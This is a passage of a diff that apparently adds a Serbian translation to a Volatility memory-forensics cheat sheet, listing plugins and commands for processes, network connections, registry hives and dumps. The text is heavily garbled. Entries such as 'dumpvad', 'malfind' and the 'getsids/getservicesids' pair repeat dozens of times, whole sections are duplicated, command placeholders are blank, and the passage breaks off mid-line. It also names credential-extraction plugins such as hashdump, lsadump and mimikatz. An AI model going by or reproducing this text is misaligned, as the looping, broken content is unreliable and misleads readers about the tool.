VAD-a. +- **vadwalk**: Prikazuje putanju do određenog VAD-a. +- **memdump**: Dumpuje sadržaj određenog memorijskog regiona. +- **memmap**: Prikazuje mapu memorijskog ispisa. +- **memstrings**: Prikazuje stringove u memorijskom ispisu. +- **memdump**: Dumpuje sadržaj određenog memorijskog regiona. +- **memmap**: Prikazuje mapu memorijskog ispisa. +- **memstrings**: Prikazuje stringove u memorijskom ispisu. + +#### Napredne tehnike + +- **timeliner**: Generiše vremensku liniju događaja na osnovu memorijskog ispisa. +- **mftparser**: Analizira Master File Table (MFT) za NTFS particiju. +- **usnparser**: Analizira Update Sequence Number (USN) journal za NTFS particiju. +- **shellbags**: Analizira ShellBags artefakte. +- **hivelist**: Prikazuje listu učitanih Windows registarskih datoteka. +- **hivedump**: Dumpuje sadržaj Windows registarske datoteke. +- **hashdump**: Dumpuje korisničke lozinke iz memorijskog ispisa. +- **lsadump**: Dumpuje korisničke lozinke iz Security Account Manager (SAM) baze podataka. +- **mimikatz**: Izvršava Mimikatz alat za izvlačenje lozinki iz memorijskog ispisa. +- **yarascan**: Skenira memorijski ispis koristeći YARA pravila. +- **yarascan**: Skenira memorijski ispis koristeći YARA pravila. +- **dumpregistry**: Dumpuje Windows registar iz memorijskog ispisa. +- **dumpregistry**: Dumpuje Windows registar iz memorijskog ispisa. +- **dumpfiles**: Dumpuje fajlove iz memorijskog ispisa. +- **dumpfiles**: Dumpuje fajlove iz memorijskog ispisa. +- **dumpcerts**: Dumpuje digitalne sertifikate iz memorijskog ispisa. +- **dumpcerts**: Dumpuje digitalne sertifikate iz memorijskog ispisa. +- **dumpcache**: Dumpuje keširane fajlove iz memorijskog ispisa. +- **dumpcache**: Dumpuje keširane fajlove iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: Dumpuje sadržaj VAD-a iz memorijskog ispisa. +- **dumpvad**: ```bash #Get services and binary path volatility --profile=Win7SP1x86_23418 svcscan -f file.dmp @@ -441,7 +1491,7 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp {% endtab %} {% endtabs %} -## Network +## Mreža {% tabs %} {% tab title="vol3" %} @@ -449,13 +1499,76 @@ volatility --profile=Win7SP1x86_23418 getservicesids -f file.dmp ./vol.py -f file.dmp windows.netscan.NetScan #For network info of linux use volatility2 ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **dumpfiles**: Izvlači otvorene fajlove iz memorijskog ispisa. +- **hashdump**: Izvlači korisničke lozinke iz memorijskog ispisa. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hivedump**: Izvlači registarski ključ iz memorijskog ispisa. +- **printkey**: Prikazuje sadržaj registarskog ključa. +- **printval**: Prikazuje vrednost registarskog ključa. +- **mftparser**: Analizira Master File Table (MFT) iz memorijskog ispisa. +- **usnparser**: Analizira Update Sequence Number (USN) iz memorijskog ispisa. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. + +#### Korisni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-files/blob/master/volatility/Volatility%20Cheat%20Sheet.pdf) +- [Volatility plugini](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) ```bash volatility --profile=Win7SP1x86_23418 netscan -f file.dmp volatility --profile=Win7SP1x86_23418 connections -f file.dmp#XP and 2003 only -volatility --profile=Win7SP1x86_23418 connscan -f file.dmp#TCP connections +volatility --profile=Win7SP1x86_23418 connscan -f file.dmp#TCP connections volatility --profile=Win7SP1x86_23418 sockscan -f file.dmp#Open sockets volatility --profile=Win7SP1x86_23418 sockets -f file.dmp#Scanner for tcp socket objects @@ -469,9 +1582,9 @@ volatility --profile=SomeLinux -f file.dmp linux_route_cache {% endtab %} {% endtabs %} -## Registry hive +## Registarski panj -### Print available hives +### Ispis dostupnih panjeva {% tabs %} {% tab title="vol3" %} @@ -479,9 +1592,63 @@ volatility --profile=SomeLinux -f file.dmp linux_route_cache ./vol.py -f file.dmp windows.registry.hivelist.HiveList #List roots ./vol.py -f file.dmp windows.registry.printkey.PrintKey #List roots and get initial subkeys ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **dumpfiles**: Izvlači otvorene fajlove iz memorijskog ispisa. +- **hashdump**: Izvlači korisničke lozinke iz memorijskog ispisa. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hivedump**: Izvlači registarski ključ iz memorijskog ispisa. +- **printkey**: Prikazuje sadržaj registarskog ključa. +- **printval**: Prikazuje vrednost registarskog ključa. +- **mftparser**: Analizira Master File Table (MFT) iz memorijskog ispisa. +- **usnparser**: Analizira Update Sequence Number (USN) iz memorijskog ispisa. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. + +#### Korisni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-files/blob/master/volatility/Volatility%20Cheat%20Sheet.pdf) +- [Volatility plugini](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) ```bash volatility --profile=Win7SP1x86_23418 -f file.dmp hivelist #List roots volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get initial subkeys @@ -489,44 +1656,226 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp printkey #List roots and get i {% endtab %} {% endtabs %} -### Get a value +### Dobijanje vrednosti {% tabs %} {% tab title="vol3" %} ```bash ./vol.py -f file.dmp windows.registry.printkey.PrintKey --key "Software\Microsoft\Windows NT\CurrentVersion" ``` -{% endtab %} +## Osnovna forenzička metodologija -{% tab title="vol2" %} +### Analiza memorijskog ispisa + +#### Volatility Cheat Sheet + +Ovaj cheat sheet pruža pregled osnovnih komandi i tehnika koje se koriste u analizi memorijskog ispisa pomoću alata Volatility. + +#### Instalacija Volatility-a + +1. Preuzmite Volatility sa [zvanične stranice](https://www.volatilityfoundation.org/releases) i raspakujte ga. +2. Instalirajte Python 2.7.x. +3. Instalirajte pip. +4. Instalirajte Volatility koristeći pip: + ``` + pip install volatility + ``` + +#### Osnovne komande + +- **imageinfo**: Prikazuje informacije o memorijskom ispisa. +- **kdbgscan**: Skenira memorijski ispisa u potrazi za KDBG strukturom. +- **pslist**: Prikazuje listu procesa. +- **pstree**: Prikazuje stablo procesa. +- **psscan**: Skenira memorijski ispisa u potrazi za procesima. +- **dlllist**: Prikazuje listu učitanih DLL-ova za određeni proces. +- **handles**: Prikazuje listu otvorenih ručki za određeni proces. +- **cmdline**: Prikazuje argumente komandne linije za određeni proces. +- **filescan**: Skenira memorijski ispisa u potrazi za otvorenim fajlovima. +- **malfind**: Skenira memorijski ispisa u potrazi za sumnjivim procesima. +- **dumpfiles**: Izvlači otvorene fajlove iz memorijskog ispisa. +- **hashdump**: Izvlači korisničke lozinke iz memorijskog ispisa. +- **hivelist**: Prikazuje listu učitanih registarskih ključeva. +- **hivedump**: Izvlači registarski ključ iz memorijskog ispisa. +- **printkey**: Prikazuje sadržaj registarskog ključa. +- **printval**: Prikazuje vrednost registarskog ključa. +- **mftparser**: Analizira Master File Table (MFT) iz memorijskog ispisa. +- **usnparser**: Analizira Update Sequence Number (USN) iz memorijskog ispisa. + +#### Napredne tehnike + +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. +- **malfind**: Pronalazi sumnjive procese i DLL-ove. + +#### Korisni resursi + +- [Volatility dokumentacija](https://github.com/volatilityfoundation/volatility/wiki) +- [Volatility Cheat Sheet](https://github.com/sans-dfir/sift-files/blob/master/volatility/Volatility%20Cheat%20Sheet.pdf) +- [Volatility plugini](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) +- [Volatility plugini - dodatni](https://github.com/tribalchicken/volatility-plugins) ```bash volatility --profile=Win7SP1x86_23418 printkey -K "Software\Microsoft\Windows NT\CurrentVersion" -f file.dmp # Get Run binaries registry value volatility -f file.dmp --profile=Win7SP1x86 printkey -o 0x9670e9d0 -K 'Software\Microsoft\Windows\CurrentVersion\Run' ``` -{% endtab %} -{% endtabs %} +{% tabs %} +{% tab title="Opis" %} +Ova metoda se koristi za izradu memorijskog ispisa (dump) procesa ili sistema. Memorijski ispis može biti koristan za analizu i pronalaženje tragova napada ili sumnjive aktivnosti. -### Dump +#### Komande +- `volatility -f imageinfo` - Prikazuje informacije o memorijskom ispisu. +- `volatility -f --profile= pslist` - Prikazuje listu procesa. +- `volatility -f --profile= psscan` - Skenira memorijski ispis i prikazuje listu procesa. +- `volatility -f --profile= pstree` - Prikazuje stablo procesa. +- `volatility -f --profile= dlllist -p ` - Prikazuje listu učitanih DLL-ova za određeni proces. +- `volatility -f --profile= handles -p ` - Prikazuje listu otvorenih ručki za određeni proces. +- `volatility -f --profile= filescan` - Skenira memorijski ispis i prikazuje listu otvorenih fajlova. +- `volatility -f --profile= cmdline -p ` - Prikazuje komandnu liniju za određeni proces. +- `volatility -f --profile= consoles` - Prikazuje listu konzola. +- `volatility -f --profile= netscan` - Skenira memorijski ispis i prikazuje listu aktivnih mrežnih konekcija. +- `volatility -f --profile= connections` - Prikazuje listu aktivnih mrežnih konekcija. +- `volatility -f --profile= sockscan` - Skenira memorijski ispis i prikazuje listu otvorenih soketa. +- `volatility -f --profile= malfind` - Skenira memorijski ispis i prikazuje potencijalno zlonamjerne procese. +- `volatility -f --profile= malprocfind` - Skenira memorijski ispis i prikazuje potencijalno zlonamjerne procese. +- `volatility -f --profile= maldrvfind` - Skenira memorijski ispis i prikazuje potencijalno zlonamjerne drajvere. +- `volatility -f --profile= modscan` - Skenira memorijski ispis i prikazuje listu učitanih modula. +- `volatility -f --profile= moddump -b -D ` - Izdvaja modul iz memorijskog ispisa. +- `volatility -f --profile= dumpfiles -Q -D ` - Izdvaja fajlove otvorene od strane određenog procesa. +- `volatility -f --profile= dumpregistry -D ` - Izdvaja Windows registar iz memorijskog ispisa. +- `volatility -f --profile= hivelist` - Prikazuje listu učitanih Windows registara. +- `volatility -f --profile= printkey -K ` - Prikazuje sadržaj određenog Windows registarskog ključa. +- `volatility -f --profile= hashdump -y ` - Izdvaja korisničke lozinke iz Windows registra. +- `volatility -f --profile= userassist` - Prikazuje informacije o korisničkim aktivnostima. +- `volatility -f --profile= shimcache` - Prikazuje informacije o ShimCache-u. +- `volatility -f --profile= ldrmodules` - Prikazuje listu učitanih modula. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje SID-ove servisa. +- `volatility -f --profile= getsids` - Prikazuje SID-ove korisnika. +- `volatility -f --profile= getservicesids` - Prikazuje 